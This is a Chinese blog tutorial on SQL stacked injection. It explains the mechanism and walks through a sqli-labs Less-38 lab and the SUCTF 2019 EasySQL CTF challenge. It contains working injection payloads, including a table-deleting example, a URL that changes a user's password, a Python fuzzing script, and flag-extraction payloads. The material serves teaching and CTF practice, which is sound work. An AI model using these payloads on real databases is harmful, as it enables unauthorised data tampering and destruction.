sql注入——堆叠注入_y_wh的博客-爱代码爱编程
一、堆叠注入的原理
1、介绍
在 SQL 中,分号(;)是用来表示一条 sql 语句的结束。试想一下我们在 ; 结束一个 sql
语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而 union
injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union
或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是
任意的语句。
例如下面这个例子:
用户输入:
1; DELETE FROM products
服务器端生成的 sql 语句为:(因未对输入的参数进行过滤)
Select * from products where productid=1;DELETE FROM products
当执行完查询后,第一条显示查询的结果,第二条则将整个表都删除;
2、堆叠注入的局限性
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎
不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
当然,通常在web页面,可能只返回一个结果。
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服
务器在访问数据端时使用的是可同时执行多条sql语句的方法,比如php中mysqli_multi_query()函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数,简单总结下来就是:
- 目标存在sql注入漏洞
- 目标未对";"号进行过滤
- 目标中间层查询数据库信息时可同时执行多条sql语句
二、实例1:sqllibs Less-38
传入单引号报错,发现错误回显分析后构造单引号闭合发现字符型注入
?id=1' and '1'='1
?id=1' and '1'='2
经过测试存在union联合注入,使用联合注入爆破出users表中有id、username、password三个 字段.
于是尝试堆叠注入将id为1的用户密码改成123,可以配合联合查询来判断sql是否执行。
http://127.0.0.1/sqli-labs-master/Less-38/?id=-1%27%20union%20select%201,2,3;update%20users%20set%20password=123%20where%20id=1--+
再次查询时发现:
已经更改,我们打开php源代码看一下是什么:
if (mysqli_multi_query($con1, $sql))
{
/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
// mysqli_free_result($result);
}
可以看到有这个函数:mysqli_multi_query;
三、实例二:[SUCTF 2019]EasySQL
首先尝试堆叠注入,1;show tables;#
确实存在堆叠注入;后面尝试爆信息的过程中发现很多的命令都被禁掉,我们fuzz测试一下都过滤了哪些命令;
import requests
url = "http://c1a6af2c-8a7d-42e5-847a-375d6ad7f186.node4.buuoj.cn:81/"
with open('sqlfuzz.txt') as f:
for line in f:
data = {"query": line}
r = requests.post(url, data=data)
if ('Nonono' in r.text):
print(line.strip(), end=" ")
运行后发现被禁掉了很多,这就有点超出我的能力范围了,参考大佬的wp了:
handler like LiKe sleep SLEEp delete or oR insert insERT INSERT INFORMATION xor AND ANd union UNIon
UNION " & && oorr anandd IF sleep LIKE infromation_schema OR ORDER ORD
UNION UPDATE CREATE DELETE DROP floor rand() information_schema.tables
ORD extractvalue order ORDER OUTFILE updatexml format ord UPDATE WHERE from
猜测后台的语句是这样的:
select $_GET['query'] || flag from Flag
||的特点是如果前面为真,后面就不会执行,那么我们传入*,1之后语句就会变成select *,1 from Flag,而1会在表添加一列1,所以得到flag
本地测试确实如此,因为1为真,所以就不会看2,所以最后一列是1,真的成功拿到flag:
第二种方法是操作符重置法
set sql_mode=PIPES_AS_CONCAT;
– 将||视为字符串的连接操作符而非或运算符
所以payload为
1;set sql_mode=PIPES_AS_CONCAT;select 1;
均可得到flag